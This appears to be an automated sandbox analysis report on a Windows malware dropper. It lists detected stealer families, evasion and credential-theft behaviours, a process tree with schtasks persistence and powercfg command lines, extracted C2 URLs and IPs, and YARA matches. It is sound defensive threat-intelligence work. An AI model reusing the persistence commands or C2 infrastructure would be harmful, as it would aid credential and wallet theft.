Edit tour

Windows Analysis Report
qk9TaBBxh8.exe

Overview

General Information

Sample name:	qk9TaBBxh8.exe renamed because original name is a hash value
Original sample name:	cb4118382e3f97f0db04938a4e31e3e1.exe
Analysis ID:	1429030
MD5:	cb4118382e3f97f0db04938a4e31e3e1
SHA1:	d31dff9e56df945247cbb0598bf0c1d27aedcccf
SHA256:	fcd465bfb29ad1ee9c3344c27035fe6721f7c634ae714db808454b2d14e6ecd3
Tags:	64exePrivateLoadertrojan
Infos:

Detection

LummaC, Glupteba, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected Glupteba

Yara detected Mars stealer

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Yara detected SmokeLoader

Yara detected Stealc

Yara detected Vidar stealer

Yara detected zgRAT

.NET source code contains very large array initializations

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates HTML files with .exe extension (expired dropper behavior)

Creates a thread in another existing process (thread injection)

Creates multiple autostart registry keys

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files to the document folder of the user

Exclude list of file types from scheduled, custom, and real-time scanning

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found pyInstaller with non standard icon

Found stalling execution ending in API Sleep call

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

LummaC encrypted strings found

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Modifies Group Policy settings

Modifies power options to not sleep / hibernate

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a Chrome extension

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Windows Defender Exclusions Added - Registry

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

query blbeacon for getting browser version

Classification

Process Tree

System is w10x64

qk9TaBBxh8.exe (PID: 5936 cmdline: "C:\Users\user\Desktop\qk9TaBBxh8.exe" MD5: CB4118382E3F97F0DB04938A4E31E3E1)

zFe0EAtgy56yDxXht4nmozfb.exe (PID: 2448 cmdline: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe MD5: 11A92C610057432013E972144EFC0EA0)

EWdN3bvBjxAbF1GyzHE7_p73.exe (PID: 4540 cmdline: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe MD5: 817C11005CA185252E666C25769A2591)

70Leo0eE867BJ4vm1aky3Uk3.exe (PID: 3800 cmdline: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe MD5: 083BBD31609819B33AD9998C1525612A)

nRGT2oA3F8V3EBSM6dmMTrGw.exe (PID: 3108 cmdline: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe MD5: 15A5A210A88D15A932171A9FA25A1356)

MSBuild.exe (PID: 5264 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

FSYOvyvMMT80PCsMousFK1Xa.exe (PID: 3884 cmdline: C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe MD5: B841D5F5E8102EE6AC56D565FBB58879)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6416 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

Jsakr_KmqehdR6ptAH1OzwuM.exe (PID: 4060 cmdline: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe MD5: 5917C8E5A003B2C211150D1F92440F79)

conhost.exe (PID: 5088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

eQEIduvtZVhzsp4oDFOuc1gy.exe (PID: 4160 cmdline: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe MD5: 0A36767173321199A74B6C2749E293F8)

T9n2wvLQ1PO2GfTxLTyp21hE.exe (PID: 4616 cmdline: C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe MD5: 87474EC710EF8FD62769AAE7C17CEDA0)

regsvr32.exe (PID: 1216 cmdline: "C:\Windows\System32\regsvr32.exe" -s .\SZM3Yb.I -u MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

NyiVs23yIO_0wMOj5TwwBpJ5.exe (PID: 3704 cmdline: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe MD5: 0333777653A29FF6425D4CCE9CF6998E)

45NBK9axc23mjqmbKvmG0NYP.exe (PID: 2332 cmdline: C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe MD5: A134C160036C6542BE45BA9FC2D8132D)

tXlQ3NLbQqxBkFS_TfaDHWX4.exe (PID: 5340 cmdline: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe MD5: B413116E9122E54828DE168502CF3316)

TUBbflj40zqtNIEKWH_MWjeG.exe (PID: 3856 cmdline: C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe MD5: 08716C77EB12B403C525571C36C29FEE)

is-P287H.tmp (PID: 5024 cmdline: "C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp" /SL4 $20402 "C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe" 3022131 52224 MD5: 813B26B63B6054C7B58D09F32E61AB18)

cjlnYlPYSIAljKunxGKtil91.exe (PID: 876 cmdline: C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe MD5: C9AD12873E4B3F8AE042800AB6CA01B5)

conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3516 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 6916 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

kPBjgT9TnN00tvBCDizDiq41.exe (PID: 3872 cmdline: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe MD5: BABB0A05BFFC1AA3AD452F745FF1C9E1)

schtasks.exe (PID: 768 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2196 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

bKj5ORDxbqgwdZav4hyONQmM.exe (PID: 3608 cmdline: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe MD5: B091C4848287BE6601D720997394D453)

powercfg.exe (PID: 4836 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 3476 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 3816 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 992 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

ooon0i8sg2EZy1pci_ppgkth.exe (PID: 6924 cmdline: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe MD5: D15459E9B9D12244A57809BC383B2757)

ocI8OvNXSYwHw7Rg5l6_f8IK.exe (PID: 4440 cmdline: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe MD5: 5EB7C8D4E4A0A7C66277EB3E4295C7A1)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

svchost.exe (PID: 4044 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2304 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5632 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5564 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 2936 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3108 -ip 3108 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Glupteba	Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.	No Attribution	http://resources.infosecinstitute.com/tdss4-part-1/ https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/ https://blog.google/technology/safety-security/new-action-combat-cyber-crime/ https://blog.google/threat-analysis-group/disrupting-glupteba-operation/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.23/f993692117a3fda2.php"}

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://nidoe.org/tmp/index.php", "http://sodez.ru/tmp/index.php", "http://uama.com.ua/tmp/index.php", "http://talesofpirates.net/tmp/index.php"]}

Threatname: RedLine

{"C2 url": ["5.42.65.50:33080"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\J4dorNOROd60TEXKOpUsDEA.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\YrWSGTvMbD1qxqADGULdj7d.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xcb387:$s1: file:/// 0xcb297:$s2: {11111-22222-10009-11112} 0xcb317:$s3: {11111-22222-50001-00000} 0xc9fdb:$s4: get_Module 0x41c0ea:$s4: get_Module 0xc2f8e:$s5: Reverse 0x41abeb:$s5: Reverse 0x41ad57:$s6: BlockCopy 0xc0864:$s7: ReadByte 0x40f9a2:$s7: ReadByte 0xcb399:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.2716540059.0000000001AFF000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x6b9f:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001D.00000002.2809504099.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000007.00000003.2850327356.00000000066F2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001C.00000002.2938091738.0000000000434000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2439089037.00000000000AE000.00000004.00000001.01000000.00000013.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.2719169995.0000000003650000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000007.00000003.2852539306.00000000066F3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000F.00000002.3022350261.0000000001CBF000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x16e0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x2f116:$x5: vchost.exe 0x30116:$x5: vchost.exe
0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Glupteba	Yara detected Glupteba	Joe Security
Process Memory Space: zFe0EAtgy56yDxXht4nmozfb.exe PID: 2448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nRGT2oA3F8V3EBSM6dmMTrGw.exe PID: 3108	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: FSYOvyvMMT80PCsMousFK1Xa.exe PID: 3884	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: eQEIduvtZVhzsp4oDFOuc1gy.exe PID: 4160	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.cjlnYlPYSIAljKunxGKtil91.exe.aeac0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.25eac0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.25eac0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
28.2.RegAsm.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.230000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
28.2.RegAsm.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
28.2.RegAsm.exe.400000.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x2f116:$x5: vchost.exe 0x30116:$x5: vchost.exe
19.2.cjlnYlPYSIAljKunxGKtil91.exe.80000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.cjlnYlPYSIAljKunxGKtil91.exe.aeac0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x521c3:$s1: file:/// 0x520fb:$s2: {11111-22222-10009-11112} 0x52153:$s3: {11111-22222-50001-00000} 0x4eb4c:$s4: get_Module 0x49d68:$s5: Reverse 0x4a5f0:$s6: BlockCopy 0x49d50:$s7: ReadByte 0x521d5:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
